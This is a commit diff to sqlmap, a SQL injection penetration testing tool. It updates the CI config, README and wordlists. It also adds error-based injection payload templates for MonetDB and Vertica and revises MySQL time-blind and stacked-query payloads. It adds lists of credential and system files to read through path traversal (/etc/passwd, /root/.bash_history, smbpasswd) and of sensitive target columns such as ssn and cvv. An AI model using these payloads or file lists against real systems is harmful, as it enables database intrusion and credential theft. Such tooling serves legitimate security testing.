Update regarding #4099

* Add the persian translations

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* Update README-fa-FA.md

* add to persian translations

HI 
please add to persian translations
regard: elias rohani

* Add link of persian

* Revert "Add link of persian"

* Revert "Add link of persian"

.travis.yml

@@ -1,13 +1,19 @@
 language: python
-dist: trusty
+jobs:
+    include:
+        - python: 2.6
+          dist: trusty
+        - python: 2.7
+          dist: trusty
+        - python: 3.3
+          dist: trusty
+        - python: 3.6
+          dist: trusty
+        - python: 3.8
+          dist: xenial
 sudo: false
 git:
     depth: 1
-python:
-    - "2.6"
-    - "2.7"
-    - "3.3"
-    - "3.6"
 script:
     - python -c "import sqlmap; import sqlmapapi"
     - python sqlmap.py --smoke

LICENSE

@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
 
-sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free

README.md

@@ -1,17 +1,17 @@
-# sqlmap
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is currently searching for sponsor(s).**
 
 Screenshots
 ----
 
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 
-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
 
 Installation
 ----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
     python sqlmap.py -hh
 
 You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Links
 ----
@@ -64,6 +64,7 @@ Translations
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
+* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-FA.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

data/txt/common-columns.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 id
@@ -474,6 +474,7 @@ module_addr
 flag
 
 # spanish
+
 usuario
 nombre
 contrasena
@@ -486,6 +487,7 @@ tono
 cuna
 
 # german
+
 benutzername
 benutzer
 passwort
@@ -499,6 +501,7 @@ stichwort
 schlusselwort
 
 # french
+
 utilisateur
 usager
 consommateur
@@ -510,6 +513,7 @@ touche
 clef
 
 # italian
+
 utente
 nome
 utilizzatore
@@ -521,17 +525,33 @@ chiavetta
 cifrario
 
 # portuguese
+
 usufrutuario
 chave
 cavilha
 
 # slavic
+
 korisnik
 sifra
 lozinka
 kljuc
 
 # turkish
+
+isim
+ad
+adi
+soyisim
+soyad
+soyadi
+kimlik
+kimlikno
+tckimlikno
+tckimlik
+yonetici
+sil
+silinmis
 numara
 sira
 lokasyon
@@ -547,7 +567,9 @@ ev_adres
 is_adresi
 ev_adresi
 isadresi
+isadres
 evadresi
+evadres
 il
 ilce
 eposta
@@ -605,6 +627,7 @@ kontak
 kontaklar
 
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 user
 pass
 cc_number
@@ -828,6 +851,7 @@ xar_name
 xar_pass
 
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -897,6 +921,7 @@ user_pwd
 user_passwd
 
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 fld_id
 fld_username
 fld_password
@@ -1049,6 +1074,7 @@ yhmm
 yonghu
 
 # site:br
+
 content_id
 codigo
 geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
 and_xevento
 
 # site:de
+
 rolle_nr
 standort_nr
 ja
@@ -1467,6 +1494,7 @@ summary_id
 gameid
 
 # site:es
+
 catid
 dni
 prune_id
@@ -1556,6 +1584,7 @@ time_stamp
 bannerid
 
 # site:fr
+
 numero
 id_auteur
 titre
@@ -1607,6 +1636,7 @@ n_dir
 age
 
 # site:ru
+
 dt_id
 subdivision_id
 sub_class_id
@@ -1812,6 +1842,7 @@ language_id
 val
 
 # site:jp
+
 dealer_id
 modify_date
 regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
 c_diary_comment_log_id
 
 # site:it
+
 idcomune
 idruolo
 idtrattamento
@@ -2446,6 +2478,7 @@ client_img
 does_repeat
 
 # site:cn
+
 typeid
 cronid
 advid
@@ -2621,6 +2654,7 @@ disablepostctrl
 fieldname
 
 # site:id
+
 ajar
 akses
 aktif
@@ -2672,9 +2706,23 @@ urut
 waktu
 
 # WebGoat
+
 cookie
 login_count
 
+# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
+
+credit
+card
+pin
+cvv
+pan
+password
+social
+ssn
+account
+confidential
+
 # Misc
 
 u_pass

data/txt/common-files.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -203,6 +203,31 @@
 /var/www/nginx-default/index.php
 /srv/www/index.php
 
+/var/www/config.php
+/usr/local/apache/config.php
+/usr/local/apache2/config.php
+/usr/local/www/apache22/config.php
+/usr/local/www/apache24/config.php
+/usr/local/httpd/config.php
+/var/www/nginx-default/config.php
+/srv/www/config.php
+
+# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
+
+/srv/www/htdocs/index.php
+/usr/local/apache2/htdocs/index.php
+/usr/local/www/data/index.php
+/var/apache2/htdocs/index.php
+/var/www/htdocs/index.php
+/var/www/html/index.php
+
+/srv/www/htdocs/config.php
+/usr/local/apache2/htdocs/config.php
+/usr/local/www/data/config.php
+/var/apache2/htdocs/config.php
+/var/www/htdocs/config.php
+/var/www/html/config.php
+
 # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
 
 /etc/passwd
@@ -1650,3 +1675,130 @@
 \web.config
 \windows\system32\drivers\etc\hosts
 \windows\win.ini
+
+# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
+
+/etc/apache2/.htpasswd
+/etc/apache/.htpasswd
+/etc/master.passwd
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/passwd
+/etc/passwd
+/etc/passwd~
+/etc/passwd-
+/etc/pureftpd.passwd
+/etc/samba/private/smbpasswd
+/etc/samba/smbpasswd
+/etc/security/opasswd
+/etc/security/passwd
+/etc/smbpasswd
+\Program Files\xampp\apache\conf\httpd.conf
+/usr/local/pgsql/bin/pg_passwd
+/usr/local/pgsql/data/passwd
+/usr/pkgsrc/net/pureftpd/pureftpd.passwd
+/usr/ports/contrib/pure-ftpd/pureftpd.passwd
+/usr/ports/ftp/pure-ftpd/pureftpd.passwd
+/usr/ports/net/pure-ftpd/pureftpd.passwd
+/var/log/exim_rejectlog/etc/passwd
+/etc/mysql/conf.d/old_passwords.cnf
+/etc/password.master
+/var/www/.lighttpdpassword
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/opt/apache2/conf/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.default
+
+# Reference: https://pastebin.com/KgPsDXjg
+
+/etc/passwd
+/etc/crontab
+/etc/hosts
+/etc/my.cnf
+/etc/.htpasswd
+/root/.bash_history
+/etc/named.conf
+/proc/self/environ
+/etc/php.ini
+/bin/php.ini
+/etc/httpd/php.ini
+/usr/lib/php.ini
+/usr/lib/php/php.ini
+/usr/local/etc/php.ini
+/usr/local/lib/php.ini
+/usr/local/php/lib/php.ini
+/usr/local/php4/lib/php.ini
+/usr/local/php5/lib/php.ini
+/usr/local/apache/conf/php.ini
+/etc/php4.4/fcgi/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/apache2/php.ini
+/etc/php/php.ini
+/usr/local/apache/conf/modsec.conf
+/var/cpanel/cpanel.config
+/proc/self/environ
+/proc/self/fd/2
+/etc/ssh/sshd_config
+/var/lib/mysql/my.cnf
+/etc/mysql/my.cnf
+/etc/my.cnf
+/etc/logrotate.d/proftpd
+/www/logs/proftpd.system.log
+/var/log/proftpd
+/etc/proftp.conf
+/etc/protpd/proftpd.conf
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/proftpd/modules.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd/vsftpd.conf
+/etc/vsftpd.conf
+/etc/chrootUsers
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/usr/sbin/pure-config.pl
+/usr/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.conf
+/usr/local/etc/pure-ftpd.conf
+/usr/local/etc/pureftpd.pdb
+/usr/local/pureftpd/etc/pureftpd.pdb
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pure-ftpd.conf
+/etc/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pureftpd.pdb
+/etc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/var/log/ftp-proxy
+/etc/logrotate.d/ftp
+/etc/ftpchroot
+/etc/ftphosts
+/etc/smbpasswd
+/etc/smb.conf
+/etc/samba/smb.conf
+/etc/samba/samba.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/var/lib/pgsql/data/postgresql.conf
+/var/postgresql/db/postgresql.conf
+/etc/ipfw.conf
+/etc/firewall.rules
+/etc/ipfw.rules
+/usr/local/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.conf
+/usr/local/etc/webmin/miniserv.users
+/etc/webmin/miniserv.users
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config.php
+/etc/httpd/conf.d/squirrelmail.conf
+/usr/share/squirrelmail/config/config.php
+/private/etc/squirrelmail/config/config.php
+/srv/www/htdos/squirrelmail/config/config.php

data/txt/common-outputs.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 [Banners]

data/txt/common-tables.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 users
@@ -1618,6 +1618,7 @@ Contributor
 flag
 
 # Various Joomla tables
+
 jos_vm_product_download
 jos_vm_coupons
 jos_vm_product_reviews
@@ -1711,6 +1712,7 @@ publicusers
 cmsusers
 
 # List provided by Anastasios Monachos ([email protected])
+
 blacklist
 cost
 moves
@@ -1762,6 +1764,7 @@ TBLCORPUSERS
 TBLCORPORATEUSERS
 
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 tbladmins
 sort
 _wfspro_admin
@@ -2048,6 +2051,7 @@ Login
 Logins
 
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -2117,6 +2121,7 @@ user_pwd
 user_passwd
 
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 wsop
 Admin
 Config
@@ -2437,9 +2442,11 @@ Affichage1name
 sb_host_adminAffichage1name
 
 # site:jp
+
 TypesTab
 
 # site:it
+
 utenti
 categorie
 attivita
@@ -2581,6 +2588,7 @@ oil_stats_agents
 SGA_XPLAN_TPL_DBA_INDEXES
 
 # site:fr
+
 Avion
 departement
 Compagnie
@@ -2751,6 +2759,7 @@ spip_ortho_dico
 spip_caches
 
 # site:ru
+
 guestbook
 binn_forum_settings
 binn_forms_templ
@@ -2848,6 +2857,7 @@ binn_path_temps
 order_item
 
 # site:de
+
 tt_content
 kunde
 medien
@@ -3010,6 +3020,7 @@ wp_categories
 chessmessages
 
 # site:br
+
 endereco
 pessoa
 usuarios
@@ -3172,6 +3183,7 @@ LT_CUSTOM2
 LT_CUSTOM3
 
 # site:es
+
 jos_respuestas
 DEPARTAMENTO
 EMPLEADO
@@ -3210,6 +3222,7 @@ grupo
 facturas
 
 # site:cn
+
 url
 cdb_adminactions
 BlockInfo
@@ -3355,6 +3368,7 @@ mymps_mail_sendlist
 mymps_navurl
 
 # site:tr
+
 kullanici
 kullanicilar
 yonetici
@@ -3401,6 +3415,7 @@ kontak
 kontaklar
 
 # List provided by Pedrito Perez ([email protected])
+
 adminstbl
 admintbl
 affiliateUsers
@@ -3415,4 +3430,69 @@ userstbl
 usertbl
 
 # WebGoat
+
 user_data
+
+# https://laurent22.github.io/so-injections/
+
+accounts
+admin
+baza_site
+benutzer
+category
+comments
+company
+credentials
+Customer
+customers
+data
+details
+dhruv_users
+dt_tb
+employees
+events
+forsale
+friends
+giorni
+images
+info
+items
+kontabankowe
+login
+logs
+markers
+members
+messages
+orders
+order_table
+photos
+player
+players
+points
+register
+reports
+rooms
+shells
+signup
+songs
+student
+students
+table
+table2
+tbl_images
+tblproduct
+testv2
+tickets
+topicinfo
+trabajo
+user
+user_auth
+userinfo
+user_info
+userregister
+users
+usuarios
+utenti
+wm_products
+wp_payout_history
+zamowienia

data/txt/keywords.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)

data/txt/user-agents.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Opera

data/xml/banner/generic.xml

@@ -83,6 +83,10 @@
         <info type="Linux"/>
     </regexp>
 
+    <regexp value="\bArch\b">
+        <info type="Linux" distrib="Arch"/>
+    </regexp>
+
     <regexp value="CentOS">
         <info type="Linux" distrib="CentOS"/>
     </regexp>
@@ -115,10 +119,22 @@
         <info type="Linux" distrib="Mandrake"/>
     </regexp>
 
+    <regexp value="Manjaro">
+        <info type="Linux" distrib="Manjaro"/>
+    </regexp>
+
     <regexp value="Mandriva">
         <info type="Linux" distrib="Mandriva"/>
     </regexp>
 
+    <regexp value="\bMint\b">
+        <info type="Linux" distrib="Mint"/>
+    </regexp>
+
+    <regexp value="\bPuppy\b">
+        <info type="Linux" distrib="Puppy"/>
+    </regexp>
+
     <regexp value="Red[\-\_\ ]?Hat">
         <info type="Linux" distrib="Red Hat"/>
     </regexp>

data/xml/errors.xml

@@ -7,13 +7,18 @@
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
         <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
+        <error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
+        <error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
+        <error regexp="is not supported by MemSQL" fork="MemSQL"/>
+        <error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
     </dbms>
 
     <!-- PostgreSQL -->
@@ -168,4 +173,52 @@
     <dbms value="H2">
         <error regexp="org\.h2\.jdbc"/>
     </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
+        <error regexp="\[MonetDB\]\[ODBC Driver"/>
+        <error regexp="nl\.cwi\.monetdb\.jdbc"/>
+    </dbms>
+
+    <!-- Apache Derby -->
+    <dbms value="Apache Derby">
+        <error regexp="Syntax error: Encountered"/>
+        <error regexp="org\.apache\.derby"/>
+        <error regexp="ERROR 42X01"/>
+    </dbms>
+
+    <!-- Vertica -->
+    <dbms value="Vertica">
+        <error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
+        <error regexp="/vertica/Parser/scan"/>
+        <error regexp="com\.vertica\.jdbc"/>
+        <error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
+        <error regexp="com\.vertica\.dsi\.dataengine"/>
+    </dbms>
+
+    <!-- Mckoi -->
+    <dbms value="Mckoi">
+        <error regexp="com\.mckoi\.JDBCDriver"/>
+        <error regexp="com\.mckoi\.database\.jdbc"/>
+    </dbms>
+
+    <!-- Presto -->
+    <dbms value="Presto">
+        <error regexp="com\.facebook\.presto\.jdbc"/>
+        <error regexp="io\.prestosql\.jdbc"/>
+        <error regexp="com\.simba\.presto\.jdbc"/>
+        <error regexp="UNION query has different number of fields: \d+, \d+"/>
+    </dbms>
+
+    <!-- Altibase -->
+    <dbms value="Altibase">
+        <error regexp="Altibase\.jdbc\.driver"/>
+    </dbms>
+
+    <!-- MimerSQL -->
+    <dbms value="MimerSQL">
+        <error regexp="com\.mimer\.jdbc"/>
+        <error regexp="Syntax error,[^\n]+assumed to mean"/>
+    </dbms>
 </root>

data/xml/payloads/error_based.xml

@@ -704,6 +704,82 @@
             <dbms>Firebird</dbms>
         </details>
     </test>
+
+    <test>
+        <title>MonetDB AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>MonetDB OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,9</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
+        <request>
+            <payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>MonetDB</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica AND error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,8,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Vertica OR error-based - WHERE or HAVING clause</title>
+        <stype>2</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,8,9</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
+        <request>
+            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Vertica</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time

data/xml/payloads/inline_query.xml

@@ -74,7 +74,8 @@
         <where>3</where>
         <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
         <request>
-            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
+            <!-- NOTE: Vertica works too without the TO_NUMBER() -->
+            <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
         </request>
         <response>
             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

data/xml/payloads/stacked_queries.xml

@@ -3,7 +3,7 @@
 <root>
     <!-- Stacked queries tests -->
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
         <stype>4</stype>
         <level>2</level>
         <risk>1</risk>
@@ -19,12 +19,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -39,12 +39,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
      <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -60,12 +60,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
         <stype>4</stype>
         <level>4</level>
         <risk>1</risk>
@@ -80,7 +80,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/payloads/time_blind.xml

@@ -169,7 +169,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>2</risk>
@@ -184,12 +184,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>3</risk>
@@ -204,12 +204,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>2</risk>
@@ -225,12 +225,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>3</risk>
@@ -246,7 +246,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1506,7 +1506,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1521,7 +1521,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1861,7 +1861,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1876,7 +1876,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/queries.xml

@@ -3,7 +3,8 @@
 <root>
     <!-- MySQL -->
     <dbms value="MySQL">
